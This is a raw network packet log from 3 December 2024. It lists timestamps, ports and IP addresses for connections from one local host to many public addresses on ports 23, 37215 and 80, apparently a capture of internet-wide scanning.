Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	47.43.124.233
Dec 3, 2024 22:16:47.533015966 CET	37963	23	192.168.2.23	87.171.218.141
Dec 3, 2024 22:16:47.532998085 CET	37963	23	192.168.2.23	198.184.70.116
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	84.208.10.126
Dec 3, 2024 22:16:47.532998085 CET	37963	23	192.168.2.23	210.48.205.67
Dec 3, 2024 22:16:47.533003092 CET	37963	23	192.168.2.23	106.245.153.189
Dec 3, 2024 22:16:47.533003092 CET	37963	23	192.168.2.23	137.153.200.72
Dec 3, 2024 22:16:47.533015966 CET	37963	23	192.168.2.23	49.188.39.37
Dec 3, 2024 22:16:47.533006907 CET	37963	23	192.168.2.23	85.198.227.252
Dec 3, 2024 22:16:47.532999992 CET	37963	23	192.168.2.23	195.35.42.211
Dec 3, 2024 22:16:47.533003092 CET	37963	23	192.168.2.23	172.47.164.204
Dec 3, 2024 22:16:47.533003092 CET	37963	23	192.168.2.23	154.74.170.55
Dec 3, 2024 22:16:47.533015966 CET	37963	23	192.168.2.23	119.77.92.246
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	147.250.171.220
Dec 3, 2024 22:16:47.533006907 CET	37963	23	192.168.2.23	200.200.237.200
Dec 3, 2024 22:16:47.532999992 CET	37963	23	192.168.2.23	223.62.212.49
Dec 3, 2024 22:16:47.533006907 CET	37963	23	192.168.2.23	159.173.73.218
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	73.240.167.169
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	108.229.238.210
Dec 3, 2024 22:16:47.533003092 CET	37963	23	192.168.2.23	74.199.28.232
Dec 3, 2024 22:16:47.533006907 CET	37963	23	192.168.2.23	164.183.123.77
Dec 3, 2024 22:16:47.532999992 CET	37963	23	192.168.2.23	135.150.119.155
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	115.177.180.115
Dec 3, 2024 22:16:47.532999992 CET	37963	23	192.168.2.23	59.208.79.74
Dec 3, 2024 22:16:47.533034086 CET	37963	23	192.168.2.23	90.255.241.2
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	144.105.150.230
Dec 3, 2024 22:16:47.533027887 CET	37963	23	192.168.2.23	159.30.77.185
Dec 3, 2024 22:16:47.533015966 CET	37963	23	192.168.2.23	220.249.70.57
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	180.90.246.18
Dec 3, 2024 22:16:47.533015966 CET	37963	23	192.168.2.23	181.119.62.164
Dec 3, 2024 22:16:47.533027887 CET	37963	23	192.168.2.23	59.58.170.164
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	219.52.101.160
Dec 3, 2024 22:16:47.533034086 CET	37963	23	192.168.2.23	91.54.237.12
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	223.133.160.142
Dec 3, 2024 22:16:47.533003092 CET	37963	23	192.168.2.23	168.116.30.204
Dec 3, 2024 22:16:47.533015966 CET	37963	23	192.168.2.23	80.71.201.37
Dec 3, 2024 22:16:47.533003092 CET	37963	23	192.168.2.23	79.37.114.143
Dec 3, 2024 22:16:47.533027887 CET	37963	23	192.168.2.23	112.205.51.15
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	200.52.221.74
Dec 3, 2024 22:16:47.533015966 CET	37963	23	192.168.2.23	140.12.153.0
Dec 3, 2024 22:16:47.533034086 CET	37963	23	192.168.2.23	173.185.33.232
Dec 3, 2024 22:16:47.533041954 CET	37963	23	192.168.2.23	8.115.199.162
Dec 3, 2024 22:16:47.533015966 CET	37963	23	192.168.2.23	150.15.197.12
Dec 3, 2024 22:16:47.533034086 CET	37963	23	192.168.2.23	181.16.76.165
Dec 3, 2024 22:16:47.533027887 CET	37963	23	192.168.2.23	82.229.17.133
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	13.205.187.71
Dec 3, 2024 22:16:47.533041954 CET	37963	23	192.168.2.23	163.50.17.135
Dec 3, 2024 22:16:47.533034086 CET	37963	23	192.168.2.23	220.40.121.59
Dec 3, 2024 22:16:47.533008099 CET	37963	23	192.168.2.23	148.202.120.60
Dec 3, 2024 22:16:47.533041954 CET	37963	23	192.168.2.23	59.229.171.247
Dec 3, 2024 22:16:47.533056021 CET	37963	23	192.168.2.23	24.76.167.80
Dec 3, 2024 22:16:47.533041954 CET	37963	23	192.168.2.23	132.138.108.68
Dec 3, 2024 22:16:47.533054113 CET	37963	23	192.168.2.23	141.136.122.231
Dec 3, 2024 22:16:47.533056021 CET	37963	23	192.168.2.23	159.183.242.253
Dec 3, 2024 22:16:47.533058882 CET	37963	23	192.168.2.23	76.250.90.0
Dec 3, 2024 22:16:47.533056021 CET	37963	23	192.168.2.23	104.68.209.36
Dec 3, 2024 22:16:47.533041954 CET	37963	23	192.168.2.23	212.202.101.169
Dec 3, 2024 22:16:47.533058882 CET	37963	23	192.168.2.23	67.22.40.31
Dec 3, 2024 22:16:47.533027887 CET	37963	23	192.168.2.23	150.108.23.93
Dec 3, 2024 22:16:47.533055067 CET	37963	23	192.168.2.23	186.186.196.99
Dec 3, 2024 22:16:47.533063889 CET	37963	23	192.168.2.23	110.54.40.57
Dec 3, 2024 22:16:47.533060074 CET	37963	23	192.168.2.23	170.217.236.235
Dec 3, 2024 22:16:47.533041954 CET	37963	23	192.168.2.23	156.251.186.124
Dec 3, 2024 22:16:47.533056021 CET	37963	23	192.168.2.23	135.17.105.201
Dec 3, 2024 22:16:47.533041954 CET	37963	23	192.168.2.23	37.157.185.53
Dec 3, 2024 22:16:47.533027887 CET	37963	23	192.168.2.23	35.140.224.64
Dec 3, 2024 22:16:47.533056021 CET	37963	23	192.168.2.23	151.168.107.254
Dec 3, 2024 22:16:47.533066988 CET	37963	23	192.168.2.23	124.67.144.143
Dec 3, 2024 22:16:47.533055067 CET	37963	23	192.168.2.23	190.18.7.111
Dec 3, 2024 22:16:47.533056021 CET	37963	23	192.168.2.23	19.77.157.198
Dec 3, 2024 22:16:47.533041954 CET	37963	23	192.168.2.23	60.220.120.158
Dec 3, 2024 22:16:47.533056021 CET	37963	23	192.168.2.23	117.129.170.130
Dec 3, 2024 22:16:47.533055067 CET	37963	23	192.168.2.23	132.132.95.209
Dec 3, 2024 22:16:47.533056021 CET	37963	23	192.168.2.23	18.209.102.113
Dec 3, 2024 22:16:47.533055067 CET	37963	23	192.168.2.23	119.195.247.113
Dec 3, 2024 22:16:47.533027887 CET	37963	23	192.168.2.23	190.116.212.156
Dec 3, 2024 22:16:47.533066988 CET	37963	23	192.168.2.23	189.240.177.91
Dec 3, 2024 22:16:47.533055067 CET	37963	23	192.168.2.23	157.216.56.31
Dec 3, 2024 22:16:47.533027887 CET	37963	23	192.168.2.23	39.110.77.245
Dec 3, 2024 22:16:47.533066988 CET	37963	23	192.168.2.23	119.6.61.126
Dec 3, 2024 22:16:47.533060074 CET	37963	23	192.168.2.23	201.21.244.202
Dec 3, 2024 22:16:47.533066988 CET	37963	23	192.168.2.23	34.153.169.187
Dec 3, 2024 22:16:47.533060074 CET	37963	23	192.168.2.23	110.250.92.109
Dec 3, 2024 22:16:47.533066988 CET	37963	23	192.168.2.23	53.102.28.147
Dec 3, 2024 22:16:47.533060074 CET	37963	23	192.168.2.23	43.140.29.16
Dec 3, 2024 22:16:47.533055067 CET	37963	23	192.168.2.23	103.156.246.33
Dec 3, 2024 22:16:47.533066988 CET	37963	23	192.168.2.23	27.249.134.2
Dec 3, 2024 22:16:47.533060074 CET	37963	23	192.168.2.23	131.221.175.103
Dec 3, 2024 22:16:47.533055067 CET	37963	23	192.168.2.23	71.206.32.188
Dec 3, 2024 22:16:47.533063889 CET	37963	23	192.168.2.23	204.146.98.67
Dec 3, 2024 22:16:47.533060074 CET	37963	23	192.168.2.23	108.184.33.45
Dec 3, 2024 22:16:47.533063889 CET	37963	23	192.168.2.23	123.89.186.90
Dec 3, 2024 22:16:47.533066988 CET	37963	23	192.168.2.23	205.33.250.101
Dec 3, 2024 22:16:47.533082008 CET	37963	23	192.168.2.23	126.174.27.19
Dec 3, 2024 22:16:47.533063889 CET	37963	23	192.168.2.23	72.214.123.130
Dec 3, 2024 22:16:47.533082008 CET	37963	23	192.168.2.23	167.169.162.247
Dec 3, 2024 22:16:47.533063889 CET	37963	23	192.168.2.23	98.160.55.76
Dec 3, 2024 22:16:47.533082008 CET	37963	23	192.168.2.23	188.85.23.47
Dec 3, 2024 22:16:47.533063889 CET	37963	23	192.168.2.23	143.37.90.139
Dec 3, 2024 22:16:47.533082008 CET	37963	23	192.168.2.23	138.245.217.57
Dec 3, 2024 22:16:47.533066988 CET	37963	23	192.168.2.23	83.125.31.95
Dec 3, 2024 22:16:47.533087969 CET	37963	23	192.168.2.23	46.208.205.124
Dec 3, 2024 22:16:47.533082008 CET	37963	23	192.168.2.23	136.204.21.156
Dec 3, 2024 22:16:47.533063889 CET	37963	23	192.168.2.23	206.29.118.15
Dec 3, 2024 22:16:47.533088923 CET	37963	23	192.168.2.23	185.100.117.192
Dec 3, 2024 22:16:47.533063889 CET	37963	23	192.168.2.23	74.145.237.172
Dec 3, 2024 22:16:47.533091068 CET	37963	23	192.168.2.23	147.16.221.47
Dec 3, 2024 22:16:47.533088923 CET	37963	23	192.168.2.23	13.137.85.184
Dec 3, 2024 22:16:47.533091068 CET	37963	23	192.168.2.23	73.75.75.203
Dec 3, 2024 22:16:47.533088923 CET	37963	23	192.168.2.23	113.198.118.38
Dec 3, 2024 22:16:47.533092022 CET	37963	23	192.168.2.23	201.242.205.184
Dec 3, 2024 22:16:47.533088923 CET	37963	23	192.168.2.23	218.139.84.230
Dec 3, 2024 22:16:47.533091068 CET	37963	23	192.168.2.23	67.58.40.37
Dec 3, 2024 22:16:47.533092022 CET	37963	23	192.168.2.23	130.194.84.96
Dec 3, 2024 22:16:47.533088923 CET	37963	23	192.168.2.23	36.14.215.68
Dec 3, 2024 22:16:47.533092022 CET	37963	23	192.168.2.23	201.102.14.65
Dec 3, 2024 22:16:47.533088923 CET	37963	23	192.168.2.23	177.63.18.135
Dec 3, 2024 22:16:47.533092022 CET	37963	23	192.168.2.23	54.221.85.18
Dec 3, 2024 22:16:47.533088923 CET	37963	23	192.168.2.23	142.210.145.103
Dec 3, 2024 22:16:47.533092022 CET	37963	23	192.168.2.23	41.228.73.230
Dec 3, 2024 22:16:47.533091068 CET	37963	23	192.168.2.23	94.175.90.218
Dec 3, 2024 22:16:47.533092976 CET	37963	23	192.168.2.23	191.138.87.79
Dec 3, 2024 22:16:47.533091068 CET	37963	23	192.168.2.23	80.245.156.145
Dec 3, 2024 22:16:47.533092976 CET	37963	23	192.168.2.23	221.217.81.97
Dec 3, 2024 22:16:47.533091068 CET	37963	23	192.168.2.23	107.88.3.228
Dec 3, 2024 22:16:47.533092976 CET	37963	23	192.168.2.23	178.253.119.19
Dec 3, 2024 22:16:47.533091068 CET	37963	23	192.168.2.23	102.249.134.36
Dec 3, 2024 22:16:47.533091068 CET	37963	23	192.168.2.23	61.51.200.247
Dec 3, 2024 22:16:47.533098936 CET	37963	23	192.168.2.23	114.72.3.72
Dec 3, 2024 22:16:47.533098936 CET	37963	23	192.168.2.23	74.183.20.186
Dec 3, 2024 22:16:47.533098936 CET	37963	23	192.168.2.23	198.237.216.63
Dec 3, 2024 22:16:47.533098936 CET	37963	23	192.168.2.23	86.102.148.218
Dec 3, 2024 22:16:47.533099890 CET	37963	23	192.168.2.23	60.32.43.11
Dec 3, 2024 22:16:47.533098936 CET	37963	23	192.168.2.23	121.167.9.82
Dec 3, 2024 22:16:47.533099890 CET	37963	23	192.168.2.23	14.125.0.197
Dec 3, 2024 22:16:47.533098936 CET	37963	23	192.168.2.23	209.255.57.121
Dec 3, 2024 22:16:47.533103943 CET	37963	23	192.168.2.23	43.207.138.150
Dec 3, 2024 22:16:47.533107996 CET	37963	23	192.168.2.23	185.28.22.54
Dec 3, 2024 22:16:47.533107996 CET	37963	23	192.168.2.23	164.217.213.43
Dec 3, 2024 22:16:47.533107996 CET	37963	23	192.168.2.23	99.178.238.73
Dec 3, 2024 22:16:47.533107996 CET	37963	23	192.168.2.23	103.236.198.56
Dec 3, 2024 22:16:47.533107996 CET	37963	23	192.168.2.23	62.199.132.122
Dec 3, 2024 22:16:47.533107996 CET	37963	23	192.168.2.23	47.10.75.157
Dec 3, 2024 22:16:47.621166945 CET	37215	51230	197.137.137.132	192.168.2.23
Dec 3, 2024 22:16:47.621517897 CET	51230	37215	192.168.2.23	197.137.137.132
Dec 3, 2024 22:16:47.621542931 CET	51230	37215	192.168.2.23	197.137.137.132
Dec 3, 2024 22:16:47.621542931 CET	51230	37215	192.168.2.23	197.137.137.132
Dec 3, 2024 22:16:47.621927023 CET	51236	37215	192.168.2.23	197.137.137.132
Dec 3, 2024 22:16:47.621961117 CET	37215	38366	156.41.220.188	192.168.2.23
Dec 3, 2024 22:16:47.621995926 CET	38366	37215	192.168.2.23	156.41.220.188
Dec 3, 2024 22:16:47.622314930 CET	38366	37215	192.168.2.23	156.41.220.188
Dec 3, 2024 22:16:47.622314930 CET	38366	37215	192.168.2.23	156.41.220.188
Dec 3, 2024 22:16:47.622610092 CET	38372	37215	192.168.2.23	156.41.220.188
Dec 3, 2024 22:16:47.652637959 CET	37215	59658	156.21.203.122	192.168.2.23
Dec 3, 2024 22:16:47.652668953 CET	37215	59852	156.21.203.122	192.168.2.23
Dec 3, 2024 22:16:47.652678013 CET	23	44698	99.83.118.40	192.168.2.23
Dec 3, 2024 22:16:47.652733088 CET	44698	23	192.168.2.23	99.83.118.40
Dec 3, 2024 22:16:47.652765989 CET	23	54372	34.55.249.109	192.168.2.23
Dec 3, 2024 22:16:47.652781010 CET	23	43042	20.250.91.212	192.168.2.23
Dec 3, 2024 22:16:47.652836084 CET	23	37698	76.37.25.26	192.168.2.23
Dec 3, 2024 22:16:47.652846098 CET	23	36632	1.217.49.104	192.168.2.23
Dec 3, 2024 22:16:47.652853966 CET	23	58128	82.211.123.21	192.168.2.23
Dec 3, 2024 22:16:47.652863026 CET	23	46760	83.195.81.74	192.168.2.23
Dec 3, 2024 22:16:47.652976990 CET	58128	23	192.168.2.23	82.211.123.21
Dec 3, 2024 22:16:47.652976990 CET	46760	23	192.168.2.23	83.195.81.74
Dec 3, 2024 22:16:47.652976990 CET	54372	23	192.168.2.23	34.55.249.109
Dec 3, 2024 22:16:47.652977943 CET	59852	37215	192.168.2.23	156.21.203.122
Dec 3, 2024 22:16:47.652977943 CET	59852	37215	192.168.2.23	156.21.203.122
Dec 3, 2024 22:16:47.652981043 CET	36632	23	192.168.2.23	1.217.49.104
Dec 3, 2024 22:16:47.652987957 CET	43042	23	192.168.2.23	20.250.91.212
Dec 3, 2024 22:16:47.652990103 CET	37698	23	192.168.2.23	76.37.25.26
Dec 3, 2024 22:16:47.695466995 CET	37215	59658	156.21.203.122	192.168.2.23
Dec 3, 2024 22:16:47.720535994 CET	23	37963	151.84.216.199	192.168.2.23
Dec 3, 2024 22:16:47.720546007 CET	23	37963	13.71.222.161	192.168.2.23
Dec 3, 2024 22:16:47.720767975 CET	37963	23	192.168.2.23	151.84.216.199
Dec 3, 2024 22:16:47.720772028 CET	37963	23	192.168.2.23	13.71.222.161
Dec 3, 2024 22:16:47.741576910 CET	37215	51230	197.137.137.132	192.168.2.23
Dec 3, 2024 22:16:47.741878033 CET	37215	51236	197.137.137.132	192.168.2.23
Dec 3, 2024 22:16:47.742042065 CET	51236	37215	192.168.2.23	197.137.137.132
Dec 3, 2024 22:16:47.742042065 CET	51236	37215	192.168.2.23	197.137.137.132
Dec 3, 2024 22:16:47.742201090 CET	37215	38366	156.41.220.188	192.168.2.23
Dec 3, 2024 22:16:47.742512941 CET	37215	38372	156.41.220.188	192.168.2.23
Dec 3, 2024 22:16:47.742559910 CET	38372	37215	192.168.2.23	156.41.220.188
Dec 3, 2024 22:16:47.742559910 CET	38372	37215	192.168.2.23	156.41.220.188
Dec 3, 2024 22:16:47.775473118 CET	37215	59852	156.21.203.122	192.168.2.23
Dec 3, 2024 22:16:47.775567055 CET	37215	59852	156.21.203.122	192.168.2.23
Dec 3, 2024 22:16:47.775711060 CET	59852	37215	192.168.2.23	156.21.203.122
Dec 3, 2024 22:16:47.783515930 CET	37215	38366	156.41.220.188	192.168.2.23
Dec 3, 2024 22:16:47.783524990 CET	37215	51230	197.137.137.132	192.168.2.23
Dec 3, 2024 22:16:47.862421036 CET	37215	51236	197.137.137.132	192.168.2.23
Dec 3, 2024 22:16:47.862693071 CET	51236	37215	192.168.2.23	197.137.137.132
Dec 3, 2024 22:16:47.863156080 CET	37215	38372	156.41.220.188	192.168.2.23
Dec 3, 2024 22:16:47.863332033 CET	38372	37215	192.168.2.23	156.41.220.188
Dec 3, 2024 22:16:48.359416008 CET	37707	80	192.168.2.23	53.119.123.13
Dec 3, 2024 22:16:48.359416008 CET	37707	80	192.168.2.23	167.169.37.108
Dec 3, 2024 22:16:48.359416008 CET	37707	80	192.168.2.23	23.13.227.180
Dec 3, 2024 22:16:48.359416008 CET	37707	80	192.168.2.23	136.30.197.42
Dec 3, 2024 22:16:48.359416008 CET	37707	80	192.168.2.23	5.50.172.102
Dec 3, 2024 22:16:48.359419107 CET	37707	80	192.168.2.23	108.128.143.21
Dec 3, 2024 22:16:48.359420061 CET	37707	80	192.168.2.23	142.178.71.247
Dec 3, 2024 22:16:48.359420061 CET	37707	80	192.168.2.23	217.15.168.25
Dec 3, 2024 22:16:48.359420061 CET	37707	80	192.168.2.23	95.62.162.133
Dec 3, 2024 22:16:48.359420061 CET	37707	80	192.168.2.23	169.221.82.62
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	46.29.80.182
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	131.208.168.66
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	18.127.172.217
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	106.125.175.246
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	213.10.8.153
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	212.233.37.111
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	115.142.226.34
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	160.218.104.120
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	70.115.204.233
Dec 3, 2024 22:16:48.359421015 CET	37707	80	192.168.2.23	81.160.177.209
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	169.222.102.55
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	49.170.211.252
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	140.113.193.143
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	74.26.255.208
Dec 3, 2024 22:16:48.359426975 CET	37707	80	192.168.2.23	142.163.169.148
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	155.242.230.208
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	198.156.213.123
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	49.32.115.49
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	155.238.126.130
Dec 3, 2024 22:16:48.359426975 CET	37707	80	192.168.2.23	5.127.244.194
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	198.58.44.28
Dec 3, 2024 22:16:48.359426975 CET	37707	80	192.168.2.23	34.151.16.91
Dec 3, 2024 22:16:48.359421968 CET	37707	80	192.168.2.23	61.49.59.95
Dec 3, 2024 22:16:48.359426975 CET	37707	80	192.168.2.23	119.172.191.200
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	200.233.228.26
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	31.241.177.96
Dec 3, 2024 22:16:48.359426975 CET	37707	80	192.168.2.23	191.107.11.36
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	154.12.53.212
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	152.246.192.251
Dec 3, 2024 22:16:48.359426975 CET	37707	80	192.168.2.23	192.212.43.199
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	37.243.32.210
Dec 3, 2024 22:16:48.359426975 CET	37707	80	192.168.2.23	65.214.181.153
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	136.144.36.108
Dec 3, 2024 22:16:48.359427929 CET	37707	80	192.168.2.23	138.83.212.12
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	167.92.86.165
Dec 3, 2024 22:16:48.359426022 CET	37707	80	192.168.2.23	148.48.36.241
Dec 3, 2024 22:16:48.359472990 CET	37707	80	192.168.2.23	181.65.9.144
Dec 3, 2024 22:16:48.359472990 CET	37707	80	192.168.2.23	85.169.121.46
Dec 3, 2024 22:16:48.359472990 CET	37707	80	192.168.2.23	217.183.41.38
Dec 3, 2024 22:16:48.359524965 CET	37707	80	192.168.2.23	41.199.54.166
Dec 3, 2024 22:16:48.359524965 CET	37707	80	192.168.2.23	78.225.83.108
Dec 3, 2024 22:16:48.359524965 CET	37707	80	192.168.2.23	160.22.231.162
Dec 3, 2024 22:16:48.359524965 CET	37707	80	192.168.2.23	54.118.208.76
Dec 3, 2024 22:16:48.359524965 CET	37707	80	192.168.2.23	159.56.174.211
Dec 3, 2024 22:16:48.359524965 CET	37707	80	192.168.2.23	45.12.195.164
Dec 3, 2024 22:16:48.359524965 CET	37707	80	192.168.2.23	159.116.117.246
Dec 3, 2024 22:16:48.359524965 CET	37707	80	192.168.2.23	152.163.182.239
Dec 3, 2024 22:16:48.359529972 CET	37707	80	192.168.2.23	49.9.159.2
Dec 3, 2024 22:16:48.359529972 CET	37707	80	192.168.2.23	97.109.8.190
Dec 3, 2024 22:16:48.359529972 CET	37707	80	192.168.2.23	48.45.33.1
Dec 3, 2024 22:16:48.359529972 CET	37707	80	192.168.2.23	221.122.86.68
Dec 3, 2024 22:16:48.359529972 CET	37707	80	192.168.2.23	191.134.154.213
Dec 3, 2024 22:16:48.359529972 CET	37707	80	192.168.2.23	64.183.73.170
Dec 3, 2024 22:16:48.359551907 CET	37707	80	192.168.2.23	185.67.81.158
Dec 3, 2024 22:16:48.359551907 CET	37707	80	192.168.2.23	70.110.93.209
Dec 3, 2024 22:16:48.359551907 CET	37707	80	192.168.2.23	95.52.35.119
Dec 3, 2024 22:16:48.359551907 CET	37707	80	192.168.2.23	41.116.190.246
Dec 3, 2024 22:16:48.359551907 CET	37707	80	192.168.2.23	121.206.66.7
Dec 3, 2024 22:16:48.359551907 CET	37707	80	192.168.2.23	205.239.190.25
Dec 3, 2024 22:16:48.359551907 CET	37707	80	192.168.2.23	98.2.111.48
Dec 3, 2024 22:16:48.359551907 CET	37707	80	192.168.2.23	206.126.155.60
Dec 3, 2024 22:16:48.359555006 CET	37707	80	192.168.2.23	5.79.198.83
Dec 3, 2024 22:16:48.359555006 CET	37707	80	192.168.2.23	208.29.93.130
Dec 3, 2024 22:16:48.359555006 CET	37707	80	192.168.2.23	116.155.109.84
Dec 3, 2024 22:16:48.359555006 CET	37707	80	192.168.2.23	76.65.219.244
Dec 3, 2024 22:16:48.359555960 CET	37707	80	192.168.2.23	9.55.80.214
Dec 3, 2024 22:16:48.359555006 CET	37707	80	192.168.2.23	176.179.123.31
Dec 3, 2024 22:16:48.359555960 CET	37707	80	192.168.2.23	75.103.26.120
Dec 3, 2024 22:16:48.359555006 CET	37707	80	192.168.2.23	73.81.70.188
Dec 3, 2024 22:16:48.359555960 CET	37707	80	192.168.2.23	145.88.33.231
Dec 3, 2024 22:16:48.359555006 CET	37707	80	192.168.2.23	124.99.132.113
Dec 3, 2024 22:16:48.359555960 CET	37707	80	192.168.2.23	39.90.156.179
Dec 3, 2024 22:16:48.359555006 CET	37707	80	192.168.2.23	163.118.219.97
Dec 3, 2024 22:16:48.359555960 CET	37707	80	192.168.2.23	206.149.237.196
Dec 3, 2024 22:16:48.359556913 CET	37707	80	192.168.2.23	115.139.79.196
Dec 3, 2024 22:16:48.359556913 CET	37707	80	192.168.2.23	91.85.103.221
Dec 3, 2024 22:16:48.359556913 CET	37707	80	192.168.2.23	4.84.79.52
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	189.251.252.103
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	152.81.188.148
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	182.22.192.48
Dec 3, 2024 22:16:48.359565020 CET	37707	80	192.168.2.23	77.121.55.77
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	83.183.126.134
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	44.43.103.103
Dec 3, 2024 22:16:48.359566927 CET	37707	80	192.168.2.23	80.86.117.159
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	77.246.156.17
Dec 3, 2024 22:16:48.359566927 CET	37707	80	192.168.2.23	83.210.73.229
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	75.34.15.145
Dec 3, 2024 22:16:48.359565020 CET	37707	80	192.168.2.23	92.119.169.166
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	82.42.106.120
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	182.4.52.83
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	76.239.0.54
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	20.158.161.220
Dec 3, 2024 22:16:48.359565020 CET	37707	80	192.168.2.23	51.221.193.182
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	131.234.190.183
Dec 3, 2024 22:16:48.359565020 CET	37707	80	192.168.2.23	103.249.204.165
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	79.35.159.93
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	140.123.226.52
Dec 3, 2024 22:16:48.359565020 CET	37707	80	192.168.2.23	143.4.124.221
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	216.113.189.45
Dec 3, 2024 22:16:48.359565020 CET	37707	80	192.168.2.23	117.58.86.252
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	99.104.211.222
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	2.83.59.54
Dec 3, 2024 22:16:48.359565020 CET	37707	80	192.168.2.23	219.64.7.174
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	23.0.175.32
Dec 3, 2024 22:16:48.359565020 CET	37707	80	192.168.2.23	46.188.16.27
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	122.232.172.124
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	102.80.37.170
Dec 3, 2024 22:16:48.359564066 CET	37707	80	192.168.2.23	23.229.84.50
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	68.144.175.127
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	198.68.181.95
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	61.168.189.57
Dec 3, 2024 22:16:48.359568119 CET	37707	80	192.168.2.23	13.109.65.179
Dec 3, 2024 22:16:48.359587908 CET	37707	80	192.168.2.23	85.103.213.27
Dec 3, 2024 22:16:48.359587908 CET	37707	80	192.168.2.23	220.253.93.134
Dec 3, 2024 22:16:48.359587908 CET	37707	80	192.168.2.23	190.76.62.236
Dec 3, 2024 22:16:48.359587908 CET	37707	80	192.168.2.23	113.26.178.183
Dec 3, 2024 22:16:48.359587908 CET	37707	80	192.168.2.23	50.127.73.140
Dec 3, 2024 22:16:48.359587908 CET	37707	80	192.168.2.23	89.16.244.72
Dec 3, 2024 22:16:48.359589100 CET	37707	80	192.168.2.23	210.118.221.237
Dec 3, 2024 22:16:48.359589100 CET	37707	80	192.168.2.23	80.192.65.77
Dec 3, 2024 22:16:48.359590054 CET	37707	80	192.168.2.23	138.57.10.128
Dec 3, 2024 22:16:48.359590054 CET	37707	80	192.168.2.23	18.82.102.167
Dec 3, 2024 22:16:48.359590054 CET	37707	80	192.168.2.23	70.220.41.106
Dec 3, 2024 22:16:48.359590054 CET	37707	80	192.168.2.23	67.71.101.115
Dec 3, 2024 22:16:48.359591007 CET	37707	80	192.168.2.23	148.84.105.138
Dec 3, 2024 22:16:48.359591007 CET	37707	80	192.168.2.23	180.152.17.134
Dec 3, 2024 22:16:48.359591007 CET	37707	80	192.168.2.23	104.32.81.112
Dec 3, 2024 22:16:48.359591007 CET	37707	80	192.168.2.23	175.18.201.253
Dec 3, 2024 22:16:48.359594107 CET	37707	80	192.168.2.23	217.178.197.93
Dec 3, 2024 22:16:48.359594107 CET	37707	80	192.168.2.23	222.14.138.243
Dec 3, 2024 22:16:48.359594107 CET	37707	80	192.168.2.23	167.11.95.8
Dec 3, 2024 22:16:48.359594107 CET	37707	80	192.168.2.23	173.25.193.9
Dec 3, 2024 22:16:48.359594107 CET	37707	80	192.168.2.23	195.117.175.116
Dec 3, 2024 22:16:48.359596014 CET	37707	80	192.168.2.23	87.103.174.143
Dec 3, 2024 22:16:48.359596014 CET	37707	80	192.168.2.23	167.69.104.55
Dec 3, 2024 22:16:48.359596014 CET	37707	80	192.168.2.23	154.66.53.129
Dec 3, 2024 22:16:48.359596968 CET	37707	80	192.168.2.23	1.46.73.30
